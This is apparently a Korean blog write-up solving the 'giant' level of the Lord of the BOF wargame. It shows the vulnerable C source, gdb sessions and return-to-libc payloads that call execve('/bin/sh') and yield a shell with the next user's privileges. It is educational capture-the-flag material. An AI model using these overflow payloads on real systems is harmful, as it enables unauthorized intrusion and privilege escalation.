1. intro

2. code 및 분석
2.1 C code
/*
The Lord of the BOF : The Fellowship of the BOF
- giant
- RTL2
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(int argc, char *argv[])
{
char buffer[40];
FILE *fp;
char *lib_addr, *execve_offset, *execve_addr;
char *ret;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// gain address of execve
fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "(%x)", &lib_addr);
fclose(fp);
fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "%x", &execve_offset);
fclose(fp);
execve_addr = lib_addr + (int)execve_offset;
// end
memcpy(&ret, &(argv[1][44]), 4);
if(ret != execve_addr)
{
printf("You must use execve!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
2.3. 분석
2.3.1. assembler code (중요 부분)
이번에는 ebp-60의 값과 ebp-56의 값을 비교해서 같으면 strcpy를 실행한다.
0x8048643 <main+227>: mov 0xffffffc4(%ebp),%eax
0x8048646 <main+230>: cmp 0xffffffc8(%ebp),%eax
0x8048649 <main+233>: je 0x8048662 <main+258>
해당 위치의 값을 확인해보면 알 수 없는 값이 들어있는데 아래에서 다시 확인할 예정이다.
3. 취약점 확인 및 공격 준비
3.1 취약점
앞선 문제와 동일하다.
다만 특정 주소로의 return만 허용된다.
3.2 공격 준비
사실 C 코드를 보면 변수 명에서 다 드러나지만, gdb로만 분석하였다.
우선 gdb로 복사된 파일을 분석하려하면 오류가 다소 발생한다.
주요 사유가 권한이 없는 파일에 대한 ldd 명령이다.
그러므로 코드를 조금 수정해 다시 컴파일 후 gdb로 분석하였다.
수정부는 아래와 같다.
// gain address of execve
fp = popen("/usr/bin/ldd /home/bugbear/giana | /bin/grep libc | /bin/awk '{print $4}'", "r");
컴파일 후 gdb로 위에서 확인하려했던 값이 어떤 값인지 보니 아래와 같았다.
[bugbear@localhost bugbear]$ gcc -o giana giana.c
[bugbear@localhost bugbear]$ gdb giana
(gdb) b *main + 230
Breakpoint 1 at 0x8048646
(gdb) r a
Starting program: /home/bugbear/giana a
/bin/bash2: /home/skeleton/.bashrc: Permission denied
Breakpoint 1, 0x8048646 in main ()
(gdb) x/x $eax
0x54534f48: Cannot access memory at address 0x54534f48
(gdb) x/x $ebp - 60
0xbffffacc: 0x54534f48
(gdb) x/x $ebp - 56
0xbffffad0: 0x400a9d48
(gdb) x/x 0x400a9d48
0x400a9d48 <__execve>: 0x57e58955
즉, ret address 주소의 값이 execve 함수의 주소여야 한다.
execve 함수의 주소는 아래와 같이 다시 한번 구할 수 있으며 위의 값과 동일함을 알 수 있다.
[bugbear@localhost bugbear]$ ldd giant
libc.so.6 => /lib/libc.so.6 (0x40018000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[bugbear@localhost bugbear]$ gdb /lib/libc.so.6
(gdb) p execve
$1 = {<text variable, no debug info>} 0x91d48 <__execve>
(gdb) p/x 0x40018000 + 0x91d48
$3 = 0x400a9d48
다만 문제점은 execve 함수의 주소가 0x400a9d48이며, 1 byte 씩 끊으면 중간에 개행 문자인 \x0a가 삽입되기에 페이로드가 삽입되지 않는다.
개행 문자는 아래와 같다.
10진수 | 16진수 | 문자 | 표기 | 설명 |
10 | \x0a | LF | \n | 개행 |
13 | \x0d | CR | \r | 복귀 |
9 | \x09 | TAP | \t | 수평 탭 |
이런 경우에는 쿼터로 한번 더 묶어주면 작동한다.
[bugbear@localhost bugbear]$ ./giant `python -c 'print "A"*44+"\x48\x9d\x0a\x40"'`
You must use execve!
[bugbear@localhost bugbear]$ ./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒
@
Segmentation fault
그럼 execve 함수의 원형은 아래와 같은데, 그럼 인자는 어떻게 넣어야할까.
int execve(const char *filename, char *const argv[], char *const envp[]);
아래 링크를 다시 공부하고 오자.
함수 호출 규약. — think storage (tistory.com)
함수 호출 규약.
레지스터에 대한 기초를 이해하고 난 뒤에 봐야하는 글. https://wyv3rn.tistory.com/144 system hacking을 register 기초 1. register란 간단히 요약하자면, 프로그램이 실행되면 기본적으로 ram에 필요한 데이터..
wyv3rn.tistory.com
결론은 뒤에 써주면 알아서 호출하는 함수가 가져다 쓴다.
원형에 맞게 인자를 구성해보면 아래와 같다.
const char *filename | /bin/sh 문자열의 주소 |
char *const argv[] | /bin/sh 문자열의 주소를 값으로 쓰는 주소 |
char *const envp[] | 0을 담고 있는 주소 |
우선 /bin/sh 문자열의 주소를 찾아보면 아래와 같다.
[bugbear@localhost bugbear]$ strings -tx /lib/libc.so.6 | grep /bin/sh
e3ff9 /bin/sh
e6587 /bin/sh
e6595 /bin/sh
e796a /bin/sh
e81c7 /bin/sh
e8778 /bin/sh
libc 파일에서 찾았기에 base 주소를 더해주면
(gdb) p/x 0x40018000+0xe3ff9
$2 = 0x400fbff9
argv[]의 경우 페이로드 뒤에 적당히 값을 삽입한 뒤 이를 이용하자.
(gdb) r "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "BBBB" + "CCCC" + "\x48\x9d\x0a\x40"'`"
Starting program: /home/bugbear/giana "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "BBBB" + "CCCC" + "\x48\x9d\x0a\x40"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒
@AAAA▒@BBBBCCCCH▒
@
Breakpoint 2, 0x8048688 in main ()
(gdb) x/40x $esp
0xbffffa9c: 0x400a9d48 0x400a9d48 0x00091d48 0x40018000
0xbffffaac: 0x08049908 0x41414141 0x41414141 0x41414141
0xbffffabc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffacc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffadc: 0x400a9d48 0x41414141 0x400fbff9 0x42424242
0xbffffaec: 0x43434343 0x400a9d48 0x08048400 0x00000000
하지만 이 값은 배열이기 때문에 /bin/sh의 주소값을 담은 위치 이후가 null 값이어야 다른 인자가 삽입되지 않는다.
현재는 0x08048400이기에 해당 값을 덮어 0x00000000과 이어지도록 만들어주자.
(gdb) r "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "BBBB" + "CCCC" + "\x48\x9d\x0a\x40"*2'`"
Starting program: /home/bugbear/giana "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "BBBB" + "CCCC" + "\x48\x9d\x0a\x40"*2'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒
@AAAA▒@BBBBCCCCH▒
@H▒
@
Breakpoint 2, 0x8048688 in main ()
(gdb) x/40x $esp
0xbffffa8c: 0x400a9d48 0x400a9d48 0x00091d48 0x40018000
0xbffffa9c: 0x08049908 0x41414141 0x41414141 0x41414141
0xbffffaac: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffabc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffacc: 0x400a9d48 0x41414141 0x400fbff9 0x42424242
0xbffffadc: 0x43434343 0x400a9d48 0x400a9d48 0x00000000
마지막으로 envp는 null 값이면 되기에 argv의 0으로 만들어준 위치를 사용하자.
4. exploit
위를 토대로 페이로드를 작성해보면 아래와 같다.
[bugbear@localhost bugbear]$ ./giana "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "\xe4\xfa\xff\xbf" + "\xe8\xfa\xff\xbf" + "\x48\x9d\x0a\x40"*2'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒
@AAAA▒@▒▒▒▒▒▒▒▒H▒
@H▒
@
▒@▒▒▒▒▒▒▒▒H▒
@H▒
@: ▒@▒▒▒▒▒▒▒▒H▒
@H▒
@: No such file or directory
음... 정상적으로 값을 전달한 것 같은데 execve는 실행되었으나 그런 파일이 없다며 /bin/sh를 실행하지 못했다.
주소를 조금 변경해서 실행해 보았더니 오류 없이 아무 반응이 없다.
[bugbear@localhost bugbear]$ ./giana "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "\xf4\xfa\xff\xbf" + "\xf8\xfa\xff\xbf" + "\x48\x9d\x0a\x40"*2'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒
@AAAA▒@▒▒▒▒▒▒▒▒H▒
@H▒
@
[bugbear@localhost bugbear]$
혹시나 하여 exit 를 실행해보니 다시 shell로 돌아온 것을 보아 shell이 실행된 것을 알 수 있다.
[bugbear@localhost bugbear]$ exit
exit
[bugbear@localhost bugbear]$
본 파일에 실행
[bugbear@localhost bugbear]$ ./giant "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "AAAA" + "\xf9\xbf\x0f\x40" + "\xf4\xfa\xff\xbf" + "\xf8\xfa\xff\xbf" + "\x48\x9d\x0a\x40"*2'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒
@AAAA▒@▒▒▒▒▒▒▒▒H▒
@H▒
@
U▒▒WVS▒: /home/bugbear/.bashrc: Permission denied
bash$ my-pass
euid = 514
one step closer
'Wargame > Hackerchool' 카테고리의 다른 글
[lob] assassin -> zombie_assassin (0) | 2022.09.16 |
---|---|
[lob] giant -> assassin (0) | 2022.09.16 |
[lob] darkknight -> bugbear (0) | 2022.09.15 |
[lob] golem -> darkknight (0) | 2022.09.15 |
[lob] skeleton -> golem (0) | 2022.09.14 |